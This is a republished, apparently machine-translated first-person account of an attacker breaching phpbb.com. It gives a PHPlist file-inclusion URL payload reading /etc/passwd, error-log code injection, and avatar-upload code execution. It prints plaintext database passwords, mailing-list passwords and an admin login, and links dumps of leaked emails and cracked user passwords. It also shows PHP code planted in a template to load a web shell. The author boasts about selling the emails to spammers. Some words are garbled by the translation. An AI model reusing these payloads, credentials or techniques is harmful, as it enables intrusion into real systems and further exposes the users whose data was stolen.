I hacked PHPBB.com

Source: Internet
Author: User
Tags md5 hash mysql update

Use an exp on milw0rm to intrude phpbb.com. For details:

From: http://hackedphpbb.blogspot.com/

It all started on Jan 14th when I was surfing milw0rm and came wait SS this exploit: http://www.milw0rm.com/exploits/7778 I then remembered that phpbb.com was running PHPlist and went looking through my email to find the link to the script's location. so I went to phpbb.com/lists and sure enough they were running a vulnerable version. next I enabled my favorite program proxy program and tried http :/ /Www.phpbb.com/lists/admin/index.php? _ SERVER % 5 bConfigFile % 5d =.../../etc/passwd and sure enough it attached Ded the etc/passwd

Http://hackedphpbb.pastebin.com/f70f8bcaf
Http://rapidshare.com/files/192159914/etc.txt

So I moved on to/etc/httpd/conf/httpd. conf
Http://rapidshare.com/files/192163061/httpd.txt
Http://hackedphpbb.pastebin.com/d29d8d4c7

And eventually found my way to their error log/home/logs/phpbb.com/error_log. after a little looking I figured out that their forums were running off/home/virtual/phpbb.com/community/ well it has been known for some time that you can include code in the error log. so I wanted to run some code, well in PHPBB3 the avatars are located in a folder called/home/virtual/login and your avatar is called (secret hash1__userid.jpg. but I didn't know what the secret has was to include my picture (that had my own code in it) so by using the error log I injected code
And figured out that their hash is f51ee61fe7a83fdf72780912bced0855. so now every time I want to upload run code against the server I can include this :/.. /.. /.. /.. /.. /.. /home/virtual/volumes

So my first avatar was something simple and I wanted to see if phpbb kept their config file in plain text so cat/home/virtual/phpbb.com/community/config.php and sure enough, its in plain text.
$ Dbms = mysqli;
$ Dbhost = phpbb.db.osuosl.org;
$ Dbport =;
$ Dbname = phpbb;
$ Dbuser = phpbb2;
$ Dbpasswd = saxM9nfRjLbJ2Yy5;
$ Table_prefix = community _;

While I was at it I checked out the config for PHPlist and it was also in plain text:
$ Database_host = "localhost ";
$ Database_name = "phpbb_phplist ";
$ Database_user = phplist;
$ Database_password = Berti3_Danc3;

So I started running commands and found out that I can upload a php text file on the forums and by finding where the path it was stored I was able to get around their 14kb restrictions on avatars and a lot easier than editing images with edjpgcom. so doing a mysql dump of the phplist_admin table it showed in plain text that the password for the one admin account was phpbb_n3ws and the login was phpBB. wow I am shocked no one brute forced this. so I login and see what I can come into SS, wow 400,000 registered emails, I'm sure that will go quick on the black market, sorry people but expect CT a of lot spam. after trying to modify the files that were stored in PHPlist I gave up and moved on to the forums. but not before dumping the PHPlist emails here: http://rapidshare.com/files/192305758/out.txt

On the phpbb forums it states it has 200,000 members, but due to them constantly getting spammed they have well over 400,000 accounts. I started dumping the community_users table with their user_id, username and user_password. PHPBB stores their user's passwords in unsalted md5 and their admin's passwords in some funky hash. but if you run your own forum and are an admin you can have your forums create the hash, and then you do an mysql update to one of the admin account's and your in. or if you change their password to yours you can use the recover password function. more to come from this later.

So I wrote a script that submits via curl, the md5 hash to a website and then stores the successful result in my own mysql database. the total accounts cracked are: 28635. I cocould have continued cracking but it was getting boring. here is a SQL file of the cracked passwords. warning, some of the user name's aren't right as I had to remove ticks and quotes for it to run in my script, so I have ded their user id so you can check their proper login name.
Http://rapidshare.com/files/192304153/phpbb_users. SQL

In gaining access to the admin panel of the forums, I was able to read staff forums and come into SS some interesting posts. I will share some with you.

List passwords:
TO try and make this easier, below is a list of the mailing list passwords I had, please update and add any others that you have

Captcha-commits@lists.phpbb.com 54a946c47dd434b2
Catdb-commits@lists.phpbb.com 6f543db8f086e11f
Convertors-commits@lists.phpbb.com c192b68baacc8842
Documentation-commits@lists.phpbb.com f85ffcdf9262420c
Easymod-commits@lists.phpbb.com 5db5bf75be85191b
The kbase-commits@lists.phpbb.com 7c843188ed2f6021
Modteam-commits@lists.phpbb.com 533aeefe56bfa30c
Prosilver-commits@lists.phpbb.com 859785a9cc724e03
Website-commits@lists.phpbb.com 3c79b9864ae5ce43
Phpbb-honey-commits@lists.phpbb.com 7e9563750450e4c4
St-tool-commits@lists.phpbb.com 534d4a9b74bb77aa
Iit-track-commits@lists.phpbb.com 8f318ffd3a2067c8
Packagemanager-commits@lists.phpbb.com 81657892 dddafdca
Moddocs-commits@lists.phpbb.com 85c837b7f78e5435

Told you they were random Meik ;)

Edit by dhn: added website-commits
Edit by tm: added phpbb-honey-commits, st -- tool-commits, iit-track-commits.

8 kg; rt7Xykjq

That password shocould work for all mailing lists on code.phpbb.com.

Emergency contacts and irc info:
Http://hackedphpbb.pastebin.com/f1399b3e8

And then I remembered that the admin panel allows you to dump tables. So I dumped the users table which is accessible here:
Http://rapidshare.com/files/192261517/backup_ SQL .gz

Next I enabled php in template files and added this bit of code to one of the templates:
$ Ip = $ _ SERVER [REMOTE_ADDR]; if ($ ip = "x. x. x. x ") {include ("/home/virtual/phpbb.com/community/files/ (myid) _ 82ec9f9eb80df2a16cc3638429631c9f ");}

Which happened to be a shell, R57shell actually. I then searched for a writable directory and created a php file and wrote the source code to that file. I cleaned up the template and settings and logs and left the forums to run the way they were.

After searching around using the shell I came into ss the Blog settings:
Define (DB_NAME, wordpress)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.